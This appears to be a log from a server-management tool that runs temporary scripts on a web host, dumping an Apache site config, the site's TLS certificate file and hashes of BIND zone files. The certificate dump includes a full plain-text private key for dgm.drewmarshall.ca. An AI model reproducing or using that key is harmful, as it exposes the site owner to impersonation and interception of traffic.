chmod 755 /tmp/pkp662396; /tmp/pkp662396; rm /tmp/pkp662396

2026-01-03 15:54:30: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf	1339

<VirtualHost *:80>
    ServerName	dgm.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_dgm
    <Directory /var/www/drewmarshall_dgm>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/dgm_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/dgm_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	dgm.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/a6135b8cd991ffd075dad22986ca2d2f.crt
    DocumentRoot	/var/www/drewmarshall_dgm
    <Directory /var/www/drewmarshall_dgm>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/dgm_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/dgm_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-01-03 15:54:30: 

PUT: /tmp/pkp404841

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/a6135b8cd991ffd075dad22986ca2d2f.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-03 15:54:30: 

chmod 755 /tmp/pkp404841; /tmp/pkp404841; rm /tmp/pkp404841

2026-01-03 15:54:30: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/a6135b8cd991ffd075dad22986ca2d2f.crt	5368
60:bd:e9:68:77:1c:26:ee:20:b2:82:ed:e7:62:1f:3b

-----BEGIN CERTIFICATE-----
MIIFCTCCA/GgAwIBAgISBqGojxvU3ieMrs3zX181sLHBMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTAzMTQ1NTU3WhcNMjYwNDAzMTQ1NTU2WjAeMRwwGgYDVQQD
ExNkZ20uZHJld21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAv1qTFhAfC1oiLMfV204nEVy9gZ/rFN0HE7YjY6A+W+nEU+w7n5pjkCOI
9fZ0LJx66ubILnhpogJFSw6TGzka9BzhJOGZkTy2ZirjvSrefUYVxqg9KITC03R2
oUIOfpFxWKzm2xKRGc/OQxIodAonIKsBdvnY+mVMTbALRIx7IMNdzXjfa0ihRpnp
EXeb5oNPb0EV5IFzDPpbUoB4p22vFanCFxTomKv8g+Rzs9m2q2B1eGrIJkagIPXV
3CcuyBTB6C1OFaxX3kvwSr0ecaZ9Q9u4l7RMY066xOMpLzs3jITieJFuhIFBuVB5
nMlrjVPb5BJd6cq1gEJ8NTMfv4yjxQIDAQABo4ICKjCCAiYwDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBTi2oFw/8Z0f5owiJo+nkqnaetF7zAfBgNVHSMEGDAWgBTnq58P
LDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTMuaS5sZW5jci5vcmcvMB4GA1UdEQQXMBWCE2RnbS5kcmV3bWFyc2hh
bGwuY2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMy5jLmxlbmNyLm9yZy82Ni5jcmwwggELBgorBgEEAdZ5AgQCBIH8BIH5
APcAdgBJnJtp3h187Pw23s2HZKa4W68Kh4AZ0VVS++nrKd34wwAAAZuEkTbqAAAE
AwBHMEUCIQDozYiB4vt8i5jYdZXO1/9+LhVxO1m3fInRTCdvwrw2LQIgfqgcU209
kBkgOqGdHtKnn6pUbltKnH2mNuEJL5x9NMkAfQBxfpXzwjiKbbHjhEk9MeFaqWII
di1CAOAFDNBntaZh4gAAAZuEkTeMAAgAAAUABexkTgQDAEYwRAIgZ/ReX+RTrXnH
2u3++aeFB2jTL75Eit+q1+bvfzgkMZACIDqoGB1rULpWX6+kXCYcRy8jI9K7yN9i
/gRJxQMLcbB5MA0GCSqGSIb3DQEBCwUAA4IBAQBfczdbgchn3yYweXA2iDdsDsdj
qeWmJ/vuIvbfzPopvb7zUDZOKGm1LfO2t5en+X3rt3n/upx4aIv/JWShXu1Wb6X6
TBCFXQaQb/CtVt3E6TpKTQqjjei7RY8OXpYQe3e2OeIyof+0u3L5/Ok3MNpMa9JT
BRiJu3UqP7O5erIpNCZr+XWmKnhZet1ybjUs0mpQH4B4qJxXzsMoWjU94xAPhYL/
sXOcZxX76/ZQy1oWellWVsYy3wiR/hypW0a3uEZ2Ds5wFw38Q1+xBHVkRHDmxh+G
8df2tnQiMxBdN60NRCfnXjiEsk/UnIaG4JuZXwuPY6KH+VrUfD2lWcb+dWQV
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC/WpMWEB8LWiIs
x9XbTicRXL2Bn+sU3QcTtiNjoD5b6cRT7DufmmOQI4j19nQsnHrq5sgueGmiAkVL
DpMbORr0HOEk4ZmRPLZmKuO9Kt59RhXGqD0ohMLTdHahQg5+kXFYrObbEpEZz85D
Eih0CicgqwF2+dj6ZUxNsAtEjHsgw13NeN9rSKFGmekRd5vmg09vQRXkgXMM+ltS
gHinba8VqcIXFOiYq/yD5HOz2barYHV4asgmRqAg9dXcJy7IFMHoLU4VrFfeS/BK
vR5xpn1D27iXtExjTrrE4ykvOzeMhOJ4kW6EgUG5UHmcyWuNU9vkEl3pyrWAQnw1
Mx+/jKPFAgMBAAECggEADr3yoPuC+MPr6BlJL4kY12yWqPriCIxytCEPHujEhR5A
YtrLSSOC0iL6tUBUeO9hROGcwH/EW5fjMMIhsTI4EmB7M/UxeI/92WcqfnNkCrCw
ksp5U7rOq63ISeol5bhczCEd8/i9Nwjccixe83moxAqIpVrgTYIqW73ZUGGmRsLE
KOeel2DBNyYOnw4p/DqbNmJoIfZ8o5RNs/kBO2sgtd343RnXxWdCDtrKWynrFxxc
zQd2EeWZ9OeeHcDXu9t1Y+yvYl6re4TMJ56am9KWzBfNbtnFXHu8iwSBv5+dLuQ0
OIlPeorU2wgR1kZcf7NDTk5CJVAugH8DiCPezqspAQKBgQDwxf7K8YaRnNMsiPBs
2PAOhB3lOGNO4RvbqM9lDBzy4/EI4Dh8k/cZxl4oiIo6d6gNFVq+SRoq0GuXlseG
fWUUmGVkg2Zm3EHs0ELABldm/uwc5ygL3CHdFaWcV9OX6eRBXi3NKD2aMp8z5CeV
hkRY6b0LC1oKSsnLFYynxFKUQQKBgQDLdH/vt0tIz3xQ4ol2oDq0Hc8mG3smpwen
wUiRLUV49lBJ6tI8syyse3dTVa8zIysNTef6YaB5clRyOQ4NJ8rxVfZ+Le3TsSdJ
LI8/NxMf3khP2vnch1KJeqiloO5m+Wlbcz6qv3l7Hf6M8Q3/S/prOFCI47JWtAAR
Wa9YKcYehQKBgHrIrae2xaZKMFK8vsbzVnBApbI4MESQfZFmI+Vm6Phgj5G0Lnox
RsjpJSlMgBlS3etWIYF6bBK7WLLkXHnURpDbKpG4hKcd2ay3g+LDGR1YEPaoVv69
UrOZD2yMSUZmK1W+fmLqC4gwGonu5tTUtNQW1qXkMxWekAu1wJXpgydBAoGAVZFC
uWQCgrXY1//exohvCA+9bo6CRehb3N76kSxUGqKlc+ER2LuWn1gyAFd6Huy8j5Tj
areikVFXWM7MLRY+US/RQpI4gx7voePevzx/i5imGwfCrFAxk2aGBVrgyWg+OlsG
0TNEeVZNF6POOkAPKwb9QAVbnQGJQcLRbyfqji0CgYEA0DRjFLYhxx1v2lkn+UZq
QWX2YrOWAOWWzsDlIMqdgGcf9u28pHYAqwbssaEUXSL3mHMHd/OywVPplZyppGmx
xlLmz77wPclV313ejyJ6MMqfJfPssJeQUtAZLl4wol4Z7Egeuldw/DceQeRTULxq
Lpt80i3buXjX0nsTNv7Dwis=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-01-03 16:50:03: Establishing a connection
2026-01-03 16:50:13: Establishing a connection
2026-01-03 16:50:14: 

PUT: /tmp/pkp175135

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-03 16:50:14: 

runuser -l bind -s /bin/bash -c '/tmp/pkp175135; rm /tmp/pkp175135'

2026-01-03 16:50:14: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
